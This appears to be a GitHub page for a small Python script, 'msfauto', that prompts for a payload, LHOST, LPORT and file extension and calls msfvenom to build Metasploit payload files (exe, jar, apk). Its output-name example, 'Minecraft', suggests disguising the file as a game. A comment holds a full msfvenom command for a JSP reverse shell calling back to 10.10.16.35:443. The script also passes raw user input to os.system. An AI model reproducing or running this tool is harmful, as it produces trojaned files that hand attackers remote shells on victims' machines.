-
Notifications
You must be signed in to change notification settings - Fork 1
/
msfauto
42 lines (40 loc) · 1.37 KB
/
msfauto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#! /usr/bin/python3
import os, platform
W = '\033[37m'
R = '\033[1;31m' # red
G = '\033[1;32m' # green
O = '\033[0;33m' # orange
B = '\033[1;34m' # blue
P = '\033[1;35m' # purple
C = '\033[1;36m' # cyan
GRs = '\033[1;37m' # gray
sh = os.system
#msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.35 LPORT=443 -f war -o reverse.war
def banner():
if "indow" in platform.platform():
sh("cls")
else:
sh("clear")
print(f"""{O}\n
┌┬┐┌─┐┌─┐ ┌─┐┬ ┬┌┬┐┌─┐
│││└─┐├┤ ├─┤│ │ │ │ │
┴ ┴└─┘└ ┴ ┴└─┘ ┴ └─┘ {R}By Mrx04Programmer{W}
""")
banner()
payload = input(f"{C}Payload: {W}")
host = input(f"{C}LHOST: {W}")
port = input(f"{C}LPORT: {W}")
ex = input(f"{B}Extension (ej: exe,jar,apk, etc): {W}")
output = input(f"{G}OUTPUT(ex: Minecraft):{W}")
banner()
print(f"{G}+ {W}generating ...")
if ex == "apk":
command = sh("msfvenom -p "+payload+" LHOST="+host+" LPORT="+port+" R > "+output+"."+ex)
elif "apk" in ex:
command = sh("msfvenom -p "+payload+" LHOST="+host+" LPORT="+port+" R > "+output+"."+ex)
else:
command = sh("msfvenom -p "+payload+" LHOST="+host+" LPORT="+port+" -f "+ex+" -o "+output+"."+ex)
if command == 32512:
print(f"{R}[-] Error, revisa los datos ingresados por favor")
if command == 0:
print(f"{G}[INFO]{W} File Created: {P}{output}{ex}")